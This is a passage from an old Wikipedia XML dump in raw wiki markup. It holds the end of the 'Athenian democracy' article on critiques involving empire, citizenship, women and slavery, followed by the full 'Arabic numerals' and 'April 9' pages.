Another tack of criticism is to notice the disquieting links between democracy and a number of less than appealing features of Athenian life. Although it predated it by over thirty years, democracy is strongly bound up with Athenian imperialism. For much of the 5th century at least democracy fed off an empire of subject states. [[Thucydides son of Milesias|Thucydides]] the son of Milesias (not the historian), an aristocrat, stood in opposition to these policies, for which he was ostracised in 443 BC. At times the imperialist democracy acted with extreme brutality, as in the decision to execute the entire male population of [[Melos]] and sell off its woman and children simply for refusing to became subjects of Athens. The common people were numerically dominant in the navy, which they used to pursue their own interests in the form of work as rowers and in the hundreds of overseas administrative positions. Further they used the income from empire to fund payment for officeholding. This is the position set out by the anti-democratic pamphlet known whose anonymous author is often called the [[Old Oligarch]]. On the other hand the empire was, more or less, defunct in the 4th century BC so it cannot be said that it was democracy was not viable without it. Only then in fact was payment for assembly attendance, the central event of democracy. (Similarly for the period before the Persian wars, but for the very early democracy the sources are very meagre and it can be thought of as being in an embryonic state.)

A case can be made that discriminatory lines came to be drawn more sharply under Athenian democracy than before or elsewhere, in particular in relation to woman and slaves, as well as in the line between citizens and non-citizens. By so strongly validating one role, that of the male citizen, it has been argued that democracy compromised the status of those who did not share it.
*Male citizenship had become a newly valuable, indeed profitable, possession, to be jealously guarded. Under [[Pericles]] in 450 BC restrictions were tightened so that a citizen had to be born from citizen parentage on both sides. ''Metroxenoi'', those with foreign mothers, were now to be excluded. Traditionally for the poorer citizens local marriage was the norm, while the elite had been much more likely to marry abroad as a part of aristocratic alliance building. A habit of one group in society was thus codified as a law for the whole citizen body, which thus lost one axis of openness. Many Athenians prominent earlier in the century would have lost citizenship, had this law applied to them: [[Cleisthenes]], the founder of democracy, had a non-Athenian mother, and the mothers of [[Cimon]] and [[Themistocles]] were not Greek at all, but [[Thrace|Thracian]]. As Athens attracted an increasing number of resident aliens (''[[metic]]s''), this shift in the definition of citizen worked to keep the immigrant population more sharply distinguished politically.
*Likewise the status of women seems lower in Athens than in many Greek cities. At Sparta women competed in public exercise — so in [[Aristophanes]]' ''Lysistrata'' the Athenian women admire the tanned, muscular bodies of their Sparten counterparts — and women could own property in their own right, as they could not at Athens. [[Misogyny]] was by no means an Athenian invention, but it has been claimed that in regard to gender democracy generalised a harsher set of values derived, again, from the common people. Democracy may well have been impossible without the contribution of women's labour (Hansen 1987: 318).
*[[Slavery in antiquity|Slave]] use was more widespread at Athens than in other Greek cities. Indeed the extensive use of imported non-Greeks (&quot;[[barbarian]]s&quot;) as [[chattel slavery|chattel slaves]] seems to have been an Athenian development. This triggers the parodoxical question: Was democracy &quot;based on&quot; slavery? It does seem clear that possession of slaves allowed even poorer Athenians — owning a few slaves was by no means equated with wealth — to devote more of their time to political life. But whether democracy depended on this extra time is impossible to say. The breadth of slave ownership also meant that the leisure of the rich (the small minority who were actually free of the need to work) rested less than it would have on the exploitation of their less well-off fellow citizens. Working for wages was clearly regarded as subjection to the will of another, but at least debt servitude had been abolished at Athens (under the reforms of Solon at the start of the 6th century BC). By allowing a new kind of equality among citizens this opened the way to democracy, which in turn called for a new means, chattel slavery, to at least partially equalise the availability of leisure between rich and poor. In the absence of reliable statistics all these connections remain speculative. However, as [[Cornelius Castoriadis]] pointed out, other societies also kept slaves, yet did not develop democracy. Even with respect to slavery the new citizen law of 450 BC may have had effect: it is speculated that originally Athenian fathers had been able to register for citizenship offspring had with slave women (Hansen 1987:53). This will have rested on an older, less categorical sense of what it meant to be a slave.

Contemporary opponents of [[majoritarianism]] (arguably the principle behind Athenian democracy) call it an illiberal regime (in contrast to [[liberal democracy]]) that allegedly leads to [[anomie]], [[balkanization]] and [[xenophobia]]. Proponents (especially of majoritarianism) deny these accusations, and argue that any faults in Athenian democracy were due to the fact that the franchise was quite limited (only male citizens could vote - women, slaves and non-citizens were excluded). Despite this limited franchise, Athenian democracy was certainly the first - and perhaps the best - example of a working [[direct democracy]].

==See also==
*[[History of Athens]]
*[[History of democracy]]
*[[List of politics-related topics]]

*[[Areopagus]]
*[[Athenian empire]]
*[[Atimia (loss of citizen rights)]]
*[[Attic calendar]]
*[[Boule]]
*[[Ecclesia (ancient Athens)]]
*[[Graphe paranomon]]
*[[Hellenic civilization]]
*[[Metic]]
*[[Ostracism]]
*[[Persian Wars]]
*[[Strategos]]

==References==
*Hansen M.H. 1987, The Athenian Democracy in the age of Demosthenes. Oxford.
*Manville B. and J. Ober 2003, A company of citizens : what the world's first democracy teaches leaders about creating great organizations. Boston.
*Meier C. 1998, Athens: a portrait of the city in its Golden Age (translated by R. and R. Kimber). New York.
*Ober J 1989, Mass and Elite in Democratic Athens: Rhetoric, Ideology and the Power of the People. Princeton.
*Ober J and C. Hendrick (edds) 1996, Demokratia : a conversation on democracies, ancient and modern. Princeton.
*Rhodes P.J.(ed) 2004, Athenian democracy. Edinburgh.

==External links==
*[http://www.constitution.org/ari/athen_00.htm The Athenian Constitution, Aristotle]
*[http://www.stoa.org/projects/demos/home?greekEncoding=UnicodeC D&amp;#275;mos: Classical Athenian Democracy], A digital 
encyclopedia: the history, institutions, and people of democratic Athens in the 5th and 4th centuries BCE, Christopher Blackwell, ed.

[[Category:Ancient Greece]]
[[Category:Political systems]]
[[Category:Ancient Greek law]]

[[da:Det athenske demokrati]]
[[de:attische Demokratie]]
[[fr:Démocratie athénienne]]
[[pl:Demokracja ateńska]]</text>
    </revision>
  </page>
  <page>
    <title>Arabic numerals</title>
    <id>1786</id>
    <revision>
      <id>42046572</id>
      <timestamp>2006-03-03T12:44:34Z</timestamp>
      <contributor>
        <username>Deeptrivia</username>
        <id>274615</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/137.163.18.136|137.163.18.136]] to last version by Noe</comment>
      <text xml:space="preserve">{{Otheruses2|Arabic numerals}}

{{numeral systems}}

[[Image:Numerals.png|thumb|240px|right|Numerals [[sans serif]]]]
'''Arabic numerals''', also known as '''[[Hindu-Arabic numerals]]''', '''[[Indian numerals]]''', '''[[Hindu numerals]]''', '''[[European numerals]]''', and '''Western numerals''', are the most common [[Symbol|symbolic]] representation of [[number]]s around the world. They are considered an important milestone in the development of [[mathematics]].

One may distinguish between the [[decimal]] system involved, also known as the [[Hindu-Arabic numeral system]], and the precise [[glyph]]s used. The glyphs most commonly in conjunction with the [[Latin alphabet]] since [[Early modern Europe|Early Modern]] times are &lt;big&gt;[[0 (number)|0]] [[1 (number)|1]] [[2 (number)|2]] [[3 (number)|3]] [[4 (number)|4]] [[5 (number)|5]] [[6 (number)|6]] [[7 (number)|7]] [[8 (number)|8]] [[9 (number)|9]]&lt;/big&gt;. 

The system was developed in [[India]] by the [[Hindus]] around [[400 BCE]], found its way to [[Persia]], and was relayed to Europe by Arabs. Hence, they became known in the West as &quot;Arabic numerals&quot;. The glyphs underwent some modifications en route from India to Europe.

==Description==
{{main articles|[[Algorism]] and [[glyphs used with the Hindu-Arabic numeral system]]}}

The numeral system employed, known as [[Algorism]], is [[positional notation|positional]] [[decimal]] notation.

Various symbol sets are used to represent numbers in the [[Hindu-Arabic numerals (system)|Hindu-Arabic numeral system]], all of which evolved from the [[Brahmi numerals]]. The symbols used to represent the system have split into various typographical variants since the [[Middle Ages]]:
*the widespread Western &quot;Arabic numerals&quot; used with the [[Latin alphabet]], in the table below labelled &quot;European&quot;, descended from the &quot;West Arabic numerals&quot; which were developed in [[al-Andalus]] and the [[Maghreb]] (There are two [[typographic]] styles for rendering European numerals, known as lining figures and [[text figures]]).
*the &quot;Arabic-Indic&quot; or &quot;'''[[Eastern Arabic numerals]]'''&quot; used with the [[Arabic alphabet]], developed primarily in what is now [[Iraq]].   A variant of the Eastern Arabic numerals used in Persian and Urdu languages as shown as &quot;East Arabic-Indic&quot;. 
*the &quot;Devanagari numerals&quot; used with [[Devanagari]] and related variants grouped as '''[[Indian numerals]]'''.
 
[[Image:Arabic numerals-en.svg|500px|Table of numerals]]

==History==

===Origins===
{{main|History of the Hindu-Arabic numeral system}}
[[Buddhist]] inscriptions from around 300 BCE use the symbols which became 1, 4 and 6. One century later, their use of the symbols which became 2, 4, 6, 7 and 9 was recorded.
[[Image:Indian numerals 100AD.gif|frame|left|[[Brahmi numeral]]s  in [[India]] in the first century CE]]
The system was adopted by the Arabs in the [[8th century]]. The first certain positional use of zero dates to the [[9th century]], in  an inscription at [[Gwalior]] dated to [[870]], and in the work of [[Al-Khwarizmi]].

[[Image:EgyptphoneKeypad.jpg|right|thumb|Modern day Arab telephone keypad with Hindu-Arabic numerals and corresponding Arabic-language numerals]]
The numeral system came to be known to both the [[Persians|Persian]] mathematician [[Al-Khwarizmi]], whose book ''On the Calculation with Hindu Numerals'' written about [[825]], and the [[Arab]] mathematician [[Al-Kindi]], who wrote four volumes, &quot;On the Use of the Indian Numerals&quot; (Ketab fi Isti'mal al-'Adad al-Hindi) about [[830]], are principally responsible for the diffusion of the Indian system of numeration in the [[Middle-East]] and the West [http://www-gap.dcs.st-and.ac.uk/%7Ehistory/HistTopics/Indian_numerals.html]. In the [[10th century]], [[Middle-East]]ern mathematicians extended the decimal numeral system to include fractions, as recorded in a treatise by [[Syrian]] mathematician [[Abu'l-Hasan al-Uqlidisi]] in [[952]]-[[953]].

In the Arab World&amp;mdash;until modern times&amp;mdash;the Arabic numeral system was used only by mathematicians. Muslim scientists used the [[Babylonian_numerals|Babylonian numeral system]], and merchants used the [[Abjad numerals]]. Therefore, it was not until [[Fibonacci]] that the Arabic numeral system was used by a large population.

===West Arabic numerals===
A distinctive &quot;West Arabic&quot; variant of the symbols begins to emerge in ca. the [[10th century]] in the [[Maghreb]] and [[Al-Andalus]], called the ''ghubar'' (&quot;sand-table&quot; or &quot;dust-table&quot;) numerals.

The first mentions of the numerals in the West are found in the Codex Vigilanus of [[976]] [http://www.mathorigins.com/V.htm]. From the [[980s]], [[Pope Silvester II|Gerbert of Aurillac]] began to spread knowledge of the numerals in Europe. Gerbert studied in [[Barcelona]] in his youth, and he is known to have requested mathematical treatises concerning the [[astrolabe]] from [[Lupitus of Barcelona]] after he had returned to France.

===Adoption in Europe===
[[Image:Talhoffer_Thott_140r.jpg|thumb|300px|German manuscript page teaching use of Arabic numerals ([[Hans Talhoffer|Talhoffer]] Thott, [[1459]]). At this time, knowledge of the numerals was still widely seen as esoteric, and Talhoffer teaches them together with the [[Hebrew alphabet]] and [[astrology]].]]
[[Image:Petrus Astronomus Astronomical clock in Uppsala Cathedral.jpg|thumb|300px|Woodcut showing the 16th century [[astronomical clock]] of [[Uppsala]] cathedral, with two clockfaces, one with Arabic and one with Roman numerals.]]
[[Image:Horloge-republicaine1.jpg|thumb|250px|Late 18th century French revolutionary &quot;decimal&quot; clockface.]] 

[[Al-Khwarizmi]]'s [[825]] treatise ''On the Calculation with Hindu Numerals'' was  translated into Latin in the [[12th century]], as ''Algoritmi de numero Indorum'' (''Algoritmi'' being the translator's rendition of the author's name, ''{{Unicode|al-ḫwārizmī}}'',  ultimately leading to the term [[algorithm]]).

[[Leonardo of Pisa|Fibonacci]], an [[Italy|Italian]] mathematician who had studied in [[Bejaia]] ([[Bougie]]), [[Algeria]], promoted the Arabic numeral system in [[Europe]] with his book ''[[Liber Abaci]]'', which was published in [[1202]], still describing the numerals as &quot;Indian&quot; rather than &quot;Arabic&quot;.  

:&quot;When my father, who had been appointed by his country as public notary in the customs at Bugia acting for the Pisan merchants going there, was in charge, he summoned me to him while I was still a child, and having an eye to usefulness and future convenience, desired me to stay there and receive instruction in the school of accounting. There, when I had been introduced to the art of the Indians' nine symbols through remarkable teaching, knowledge of the art very soon pleased me above all else and I came to understand it..&quot; 

The numerals are arranged with their lowest value digit to the right, with higher value positions added to the left. This arrangement was adopted identically into the numerals as used in Europe. The Latin alphabet running from left to right, unlike the Arabic alphabet, this resulted in an inverse arrangement of the place-values relative to the direction of reading.

The European acceptance of the numerals was accelerated by the invention of the [[printing press]], and they became commonly known during the [[15th century]]. The first known use in [[England]] was on a 1487 inscription (the date being written in Arabic numerals) at [[Piddletrenthide]] church, [[Dorset]]. By the mid [[16th century]], they were in common use in most of Europe.[http://mathforum.org/library/drmath/view/52545.html.] Roman numerals remained in use mostly for the notation of years of the [[Common Era]], and for numbers on clockfaces. Sometimes, Roman numerals are still used for enumeration of lists (as an alternative to alphabetical enumeration), and numbering pages in prefatory material in books.

==Encodings==

The Arabic numerals are encoded in [[ASCII]] (and [[Unicode]]) at positions 48 to 57: 

{| class=&quot;wikitable&quot; style=&quot;text-align: center&quot;
|- 
!style=&quot;width: 5.5em&quot;|Binary
!style=&quot;width: 2.5em&quot;|Dec
!style=&quot;width: 2.5em&quot;|Hex
!Glyph
|-
|0011&amp;nbsp;0000
|48
|30
|0
|-
|0011&amp;nbsp;0001
|49
|31
|1
|-
|0011&amp;nbsp;0010
|50
|32
|2
|-
|0011&amp;nbsp;0011
|51
|33
|3
|-
|0011&amp;nbsp;0100
|52
|34
|4
|-
|0011&amp;nbsp;0101
|53
|35
|5
|-
|0011&amp;nbsp;0110
|54
|36
|6
|-
|0011&amp;nbsp;0111
|55
|37
|7
|-
|0011&amp;nbsp;1000
|56
|38
|8
|-
|0011&amp;nbsp;1001
|57
|39
|9
|}

==See also ==
{{Table Numeral Systems}}
*[[Hindu-Arabic numeral system]]

==References==
*[http://www.historyworld.net/wrldhis/PlainTextHistories.asp?historyid=ab34 History of Counting Systems and Numerals]. Retrieved [[11 December]] [[2005]].
*[http://www.laputanlogic.com/articles/2003/06/01-95210802.html The Evolution of Numbers]. [[16 April]] [[2005]].
*O'Connor, J. J. and Robertson, E. F. [http://www-gap.dcs.st-and.ac.uk/%7Ehistory/HistTopics/Indian_numerals.html Indian numerals]. November 2000.

==External links==
*History of the Numerals
**[http://www-gap.dcs.st-and.ac.uk/%7Ehistory/HistTopics/Arabic_numerals.html Arabic numerals]:
**[http://www.scit.wlv.ac.uk/university/scit/modules/mm2217/han.htm Hindu-Arabic  numerals]:

[[Category:Numeration]]


[[da:Arabiske talsystem]]
[[de:Arabische Ziffern]]
[[sr:Арапски бројеви]]
[[es:Numeración arábiga]]
[[eo:Eŭropaj ciferoj]]
[[fr:Chiffre arabe]]
[[gu:હિન્દુ-અરેબીક અંકો]]
[[ko:아라비아 수 체계]]
[[hr:Arapski brojevi]]
[[la:Numeri arabici]]
[[nl:Arabische cijfers]]
[[ja:アラビア数字]]
[[pl:Cyfry arabskie]]
[[ru:Арабские цифры]]
[[sl:Arabske številke]]
[[fi:Arabialaiset numerot]]
[[vi:Chữ số Ả Rập]]
[[uk:Арабська система цифр]]
[[zh:阿拉伯数字]]</text>
    </revision>
  </page>
  <page>
    <title>April 9</title>
    <id>1787</id>
    <revision>
      <id>41990933</id>
      <timestamp>2006-03-03T02:06:32Z</timestamp>
      <contributor>
        <username>LtPowers</username>
        <id>749490</id>
      </contributor>
      <minor />
      <comment>rm redlinked person who died 15 years before he was born.</comment>
      <text xml:space="preserve">&lt;!-- Language links at bottom --&gt;
{| style=&quot;float:right;&quot;
|- 
|{{AprilCalendar}}
|-
|{{ThisDateInRecentYears|Month=April|Day=9}}
|}
'''[[April 9]]''' is the [[99 (number)|99th]] day of the year in the [[Gregorian calendar]] (100th in [[leap year]]s). There are 266 days remaining.
==Events==
*[[193]] - [[Septimius Severus]] is proclaimed [[Roman Emperor]] by the army in [[Illyricum]] (in the [[Balkans]]). 
*[[1241]] - [[Battle of Legnica|Battle of Liegnitz]]: [[Mongol]] forces defeats the [[Poland|Polish]] and [[Germany|German]] armies. 
*[[1667]]: First public art exhibition opens in Paris
*[[1682]] - [[René Robert Cavelier, Sieur de La Salle|Robert Cavelier de La Salle]] discovers the mouth of the [[Mississippi River]], claims it for [[France]] and names it [[Louisiana]].
*[[1864]] - [[American Civil War]]: [[Battle of Mansfield]] - [[United States|Union]] General [[Nathaniel Banks]]' [[Red River Campaign]]  is thwarted by [[Confederate States of America|Confederate]] General [[Richard Taylor (general)|Richard Taylor]]'s forces at [[Mansfield, Louisiana]].
*[[1865]] - [[American Civil War]]: [[Robert E. Lee]] surrenders the [[Army of Northern Virginia]] (26,765 troops) to [[Ulysses S. Grant]] at [[Appomattox Courthouse, Virginia]], effectively ending the [[war]].
*[[1867]] - [[Alaska purchase]]: Passing by a single vote, the [[United States Senate]] ratifies a [[treaty]] with [[Russia]] for the purchase of [[Alaska]]. 
*[[1909]] - The [[Congress of the United States|U.S. Congress]] passes the [[Payne-Aldrich Tariff Act]]. 
*[[1913]] - The [[Brooklyn Dodgers]]' [[Ebbets Field]] opens. 
*[[1916]] - [[World War I]]: [[Battle of Verdun]] - [[Germany|German]] forces launch  their third offensive of the [[battle]]. 
*[[1917]] - World War I: [[Battle of Arras (1917)|Battle of Arras]] - The [[battle]] begins with [[Canada|Canadian]] forces executing a massive assault on the [[Vimy Ridge]]. 
*[[1939]] - [[Marian Anderson]] sings at the [[Lincoln Memorial]], after having been refused the right to sing at the [[Daughters of the American Revolution]]'s [[Constitution Hall]].
*[[1940]] - [[World War II]]: [[Germany]] invades [[Denmark]] and [[Norway]].
*[[1942]] - [[World War II|Second World War]]: [[Battle of Bataan]]/[[Bataan Death March]] - [[United States]] forces surrender on the [[Bataan Peninsula]]. [[Japanese Navy]] launches air raid on [[Trincomalee]] in [[Ceylon]] ([[Sri Lanka]]); [[Royal Navy]] [[aircraft carrier]] [[HMS Hermes]] and [[Royal Australian Navy]] [[Destroyer]] [[HMAS Vampire]] are sunk off the country's East Coast.
*[[1945]] - The [[German pocket battleship Admiral Scheer]] is sunk.
*[[1947]] - The [[Glazier-Higgins-Woodward Tornadoes]] kill 181 and injure 970 in [[Texas]], [[Oklahoma]], and [[Kansas]].
*1947 - The [[Journey of Reconciliation]], the first interracial [[Freedom Ride]] of 16 black and white men traveling through the upper [[Southern United States|South]] in violation of [[Jim Crow]] laws begins. The riders, sponsored by [[CORE]] and the [[Fellowship of Reconciliation]], are seeking to force southern states to enforce the [[United States Supreme Court]]'s [[1946]] [[Irene Morgan]] decision that banned [[racial segregation]] in interstate travel.
*[[1948]] - [[Jorge Eliécer Gaitán]]'s assassination provokes a violent riot in [[Bogotá]] (the ''Bogotazo''), and a further ten years of violence in all of [[Colombia]] (''La violencia'').
*1948 - Massacre at  [[Deir Yassin]].
*[[1949]] - The [[Gurkha Contingent]] of the [[Singapore Police Force]] is formed.
*[[1953]] - [[Warner Brothers]] premieres the first [[3-D film]], entitled ''[[House of Wax (1953 movie)|House of Wax]]''
*[[1959]] - [[Mercury program]]: [[NASA]] announces the selection of the [[United States]]' first seven [[astronaut]]s which the news media quickly dub the &quot;Mercury Seven&quot;. 
*[[1967]] - The first [[Boeing 737]] (a 100 series) takes its maiden flight. 
*[[1969]] - The &quot;[[Chicago Eight]]&quot; plead not guilty on federal charges of conspiracy to incite a riot at the [[1968 Democratic National Convention]] in [[Chicago, Illinois]].
*[[1986]] - The [[government of France]] rules against the privatization of [[France|French]] automaker [[Renault]].
*[[1987]] - [[Dikye Baggett]] becomes the first person to undergo corrective surgery for [[Parkinson's disease]].
*[[1991]] - [[Georgia (country)|Georgia]] declares its independence from the [[Soviet Union]]. 
*[[1992]] - [[Manuel Noriega]] is convicted of eight crimes.
*1992 - [[John Major]]'s [[Conservative Party]] wins an unprecedented fourth general election victory in the [[United Kingdom]].
*[[1998]] - The [[National Prisoner of War Museum]] is dedicated in [[Andersonville, Georgia]], on the site of an [[American Civil War]] POW camp. 
*[[1999]] - [[Ismail Omar Guelleh]] is elected president of [[Djibouti]]. 
*1999 - [[Niger | Nigerian]] President [[Ibrahim Baré Maïnassara]] is assassinated. 
*[[2002]] - The funeral of [[Elizabeth Bowes-Lyon | HM Queen Elizabeth, the Queen Mother]] of the [[United Kingdom]] is held at [[Westminster Abbey]].
*[[2003]] - [[2003 invasion of Iraq]]: The Ba'ath regime headed by [[Saddam Hussein]] in [[Iraq]] is deposed.
*[[2005]] - [[HRH]] [[Charles, Prince of Wales]] [[Wedding of Charles, Prince of Wales and Camilla, Duchess of Cornwall | weds]] [[Camilla, Duchess of Cornwall | Camilla Parker Bowles]]

==Births==
*[[1336]] - [[Tamerlane]], Turkish conqueror (d. [[1405]])
*[[1498]] - [[John, Cardinal of Lorraine]], French churchman (d. [[1550]])
*[[1597]] - [[John Davenport (clergyman)|John Davenport]], Connecticut pioneer (d. [[1670]])
*[[1648]] - [[Henri de Massue, Marquis de Ruvigny, 1st Viscount Galway]], French soldier and diplomat (d. [[1720]])
*[[1649]] - [[James Scott, 1st Duke of Monmouth]], illegitimate son of [[Charles II of Great Britain] (d. [[1685]])
*[[1680]] - [[Philippe Néricault Destouches]], French dramatist (d. [[1754]])
*[[1686]] - [[James Craggs the Younger]], British politician (d. [[1721]])
*[[1691]] - [[Johann Matthias Gesner]], German classical scholar (d. [[1761]])
*[[1757]] - [[Edward Pellew, 1st Viscount Exmouth]], British admiral (d. [[1833]])
*[[1770]] - [[Thomas Johann Seebeck]], German physicist (d. [[1831]])
*[[1773]] - [[Étienne Aignan]], French writer (d. [[1824]])
*[[1794]] - [[Theobald Boehm]], German inventor of the modern flute (d. [[1881]])
*[[1806]] - [[Isambard Kingdom Brunel]], British engineer (d. [[1859]])
*[[1821]] - [[Charles Baudelaire]], French poet (d. [[1867]])
*[[1830]] - [[Eadweard Muybridge]], English-born photographer and motion picture pioneer (d. [[1904]])
*[[1835]] - King [[Léopold II of Belgium]] (d. [[1909]])
*[[1865]] - [[Erich Ludendorff]], German general in World War I (d. [[1937]])
*[[1867]] - [[Chris Watson]], third [[Prime Minister of Australia]] (d. [[1941]])
*[[1872]] - [[Léon Blum]], French prime minister (d. [[1950]])
*[[1888]] - [[Sol Hurok]], Russian-born impresario (d. [[1974]])
*[[1889]] - [[Efrem Zimbalist]], Russian violinist (d. [[1985]])
*[[1897]] - [[John B. Gambling]], American radio talk-show host (d. [[1974]])
*[[1898]] - [[Curly Lambeau]], American football coach, executive (d. [[1965]])
*1898 - [[Paul Robeson]], American singer and activist (d. [[1976]])
*[[1903]] - [[Ward Bond]], American actor (d. [[1960]])
*[[1904]] - [[Sharkey Bonano]], American musician (d. [[1972]])
*[[1905]] - [[J. William Fulbright]], U.S. Senator from Arkansas (d. [[1995]])
*[[1906]] - [[Antal Dorati]], Hungarian conductor (d. [[1988]])
*[[1908]] - [[Victor Vasarely]], Hungarian-born painter (d. [[1997]])
*[[1910]] - [[Abraham Ribicoff]], American politician (d. [[1998]])
*[[1912]] - [[Lew Kopelew]], Russian author (d. [[1997]])
*[[1917]] - [[Johannes Bobrowski]], German lyricist, narrative writer, adaptor and essayist (d. [[1965]])
*1917 - [[Brad Dexter]], American actor (d. [[2002]])
*[[1918]] - [[Jørn Utzon]], Danish architect
*[[1919]] - [[J. Presper Eckert]], American computer pioneer
*[[1926]] - [[Hugh Hefner]], American editor and publisher
*[[1928]] - [[Tom Lehrer]], American musician and mathematician
*[[1932]] - [[Jim Fowler]], American zoologist
*1932 - [[Carl Perkins]], American musician (d. [[1998]])
*[[1933]] - [[Jean-Paul Belmondo]], French actor
*[[1934]] - [[Bill Birch]], New Zealand politician 
*[[1935]] - [[Avery Schreiber]], American actor (d. [[2002]])
*[[1937]] - [[Marty Krofft]], children's television producer
*[[1938]] - [[Viktor Chernomyrdin]], Russian politician
*[[1939]] - [[Michael Learned]], American actress
*[[1942]] - [[Brandon De Wilde]], American actor (d. [[1972]])
*[[1945]] - [[Peter Gammons]], baseball journalist
*[[1954]] - [[Dennis Quaid]], American actor
*1954 - [[Iain Duncan Smith]], British politician
*[[1957]] - [[Severiano Ballesteros|Seve Ballesteros]], Spanish golfer
*[[1962]] - [[Imran Sherwani]], British field hockey player
*[[1964]] - [[Rick Tocchet]], Canadian [[ice hockey]] player
*[[1965]] - [[Jeff Zucker]], American television executive
*[[1966]] - [[Cynthia Nixon]], American actress
*[[1967]] - [[Rajendra Yadav]], Indian doctor
*[[1971]] - [[Jacques Villeneuve]], Canadian race car driver
*[[1974]] - [[Jenna Jameson]], American adult entertainer
*[[1975]] - [[Robbie Fowler]], English footballer
*[[1977]] - [[Gerard Way]], American singer ([[My Chemical Romance]])
*[[1978]] - [[Jorge Andrade]], Portuguese footballer
*1978 - [[Rachel Stevens]], English singer
*1978 - [[Vesna Pisarović]], Croatian singer
*[[1979]] - [[Keshia Knight Pulliam]], American actress
*[[1981]] - [[Milan Bartovic|Milan Bartovič]], Slovak ice hockey player
*[[1987]] - [[Jesse McCartney]], American singer/actor
*[[1990]] - [[Kristen Stewart]], American actress
*[[1998]] - [[Elle Fanning]], American child actress

==Deaths==
*[[491]] - [[Zeno of the Byzantine Empire|Zeno]], [[Byzantine Emperor]]
*[[715]] - [[ Pope Constantine]]
*[[1024]] - [[Pope Benedict VIII]]
*[[1137]] - [[William X of Aquitaine|William X, Duke of Aquitaine]] (b. [[1099]])
*[[1483]] - King [[Edward IV of England]] (b. [[1442]])
*[[1484]] - [[Edward of Middleham]], [[Prince of Wales]] (b. [[1473]])
*[[1553]] - [[François Rabelais]], French writer
*[[1557]] - [[Mikael Agricola]], Finnish scholar (b. [[1510]])
*[[1626]] - Sir [[Francis Bacon]], English philosopher, statesman, and essayist (b. [[1561]])
*[[1693]] - [[Roger de Rabutin, Comte de Bussy]], French writer (b. [[1618]])
*[[1739]] - [[Nicolas Saunderson]], English scientist and mathematician (b. [[1682]])
*[[1747]] - [[Simon Fraser, 11th Lord Lovat]], Scottish clan chief
*[[1754]] - [[Christian Wolff (philosopher)|Christian Wolff]], German philosopher (b. [[1679]])
*[[1761]] - [[William Law]], British minister (b. [[1686]])
*[[1804]] - [[Jacques Necker]], French statesman (b. [[1732]])
*[[1806]] - [[William V of Orange]], [[Stadtholder]] of the Dutch Republic
*[[1889]] - [[Michel Eugène Chevreul]], French chemist (b. [[1786]])
*[[1917]] - [[James Hope Moulton]], British scholar of Classical Greek (b. [[1863]])
*[[1936]] - [[Ferdinand Tönnies]], German sociologist (b. 1855)
*[[1940]] - [[Mrs. Patrick Campbell]], British actress (b. [[1865]])
*[[1944]] - [[Evgeniya Rudneva]], Russian World War II heroine (executed) (b. [[1920]])
*[[1945]] - [[Wilhelm Canaris]], German Nazi leader (b. [[1887]])
*1945 - [[Dietrich Bonhoeffer]], German theologian (executed) (b. [[1906]])
*[[1948]] - [[Jorge Eliécer Gaitán]], Colombian politician (b. [[1903]]).
*[[1951]] - [[Vilhelm Bjerknes]], Norwegian physicist (b. [[1862]])
*[[1959]] - [[Frank Lloyd Wright]], American architect (b. [[1867]])
*[[1961]] - King [[Zog of Albania]] (b. [[1895]])
*[[1963]] - [[Eddie Edwards]], American jazz trombonist (b. [[1891]])
*[[1976]] - [[Dagmar Nordstrom]], American composer, pianist, one of The [[Nordstrom Sisters]] (b. [[1903]])
*1976 - [[Phil Ochs]], American singer (b. [[1940]])
*[[1988]] - [[Brook Benton]], American actor (b. [[1931]])
*[[1991]] - [[Martin Hannett]], record producer (b. [[1948]])
*[[1996]] - [[Richard Condon]], American novelist (b. [[1915]])
*1996 - [[James W. Rouse]], American real estate developer, activist, and philanthropist (b. [[1914]])
*[[1997]] - [[Laura Nyro]], American singer and songwriter (b. [[1947]])
*[[1999]] - [[Ibrahim Baré Maïnassara]], Niger politician and general (b. [[1949]])
*[[2001]] - [[Willie Stargell]], baseball player (b. [[1940]])
*[[2002]] - [[Leopold Vietoris]], Austrian mathematician (b. [[1891]])
*[[2005]] - [[Andrea Dworkin]], American feminist and writer (b. [[1946]])

==Holidays and observances==
*[[Bahá'í Faith]] - Feast of Jalál (Glory) - First day of the second month of the Bahá'í Calendar
*[[Bataan Death March|Bataan Day]] (Day of Valor - ''Araw ng Kagitingan'') in the [[Philippines]]

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/9 BBC: On This Day]
* [http://www.tnl.net/when/4/9 Today in History: April 9]

----

[[April 8]] - [[April 10]] - [[March 9]] - [[May 9]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[ceb:Abril 9]]
[[nap:9 'e abbrile]]
[[war:Abril 9]]
[[pam:Abril 9]]

[[af:9 April]]
[[ar:9 أبريل]]
[[an:9 d'abril]]
[[ast:9 d'abril]]
[[bg:9 април]]
[[be:9 красавіка]]
[[bs:9. april]]
[[ca:9 d'abril]]
[[cv:Ака, 9]]
[[co:9 d'aprile]]
[[cs:9. duben]]
[[cy:9 Ebrill]]
[[da:9. april]]
[[de:9. April]]
[[et:9. aprill]]
[[el:9 Απριλίου]]
[[es:9 de abril]]
[[eo:9-a de aprilo]]
[[eu:Apirilaren 9]]
[[fo:9. apríl]]
[[fr:9 avril]]
[[fy:9 april]]
[[ga:9 Aibreán]]
[[gl:9 de abril]]
[[ko:4월 9일]]
[[hr:9. travnja]]
[[io:9 di aprilo]]
[[id:9 April]]
[[ia:9 de april]]
[[ie:9 april]]
[[is:9. apríl]]
[[it:9 aprile]]
[[he:9 באפריל]]
[[jv:9 April]]
[[ka:9 აპრილი]]
[[csb:9 łżëkwiôta]]
[[ku:9'ê avrêlê]]
[[lt:Balandžio 9]]
[[lb:9. Abrëll]]
[[li:9 april]]
[[hu:Április 9]]
[[mk:9 април]]
[[ms:9 April]]
[[nl:9 april]]
[[ja:4月9日]]
[[no:9. april]]
[[nn:9. april]]
[[oc:9 d'abril]]
[[pl:9 kwietnia]]
[[pt:9 de Abril]]
[[ro:9 aprilie]]
[[ru:9 апреля]]
[[se:Cuoŋománu 9.]]
[[sco:9 Aprile]]
[[sq:9 Prill]]
[[scn:9 di aprili]]
[[simple:April 9]]
[[sk:9. apríl]]
[[sl:9. april]]
[[sr:9. април]]
[[fi:9. huhtikuuta]]
[[sv:9 april]]
[[tl:Abril 9]]
[[tt:9. Äpril]]
[[te:ఏప్రిల్ 9]]
[[th:9 เมษายน]]
[[vi:9 tháng 4]]
[[tr:9 Nisan]]
[[uk:9 квітня]]
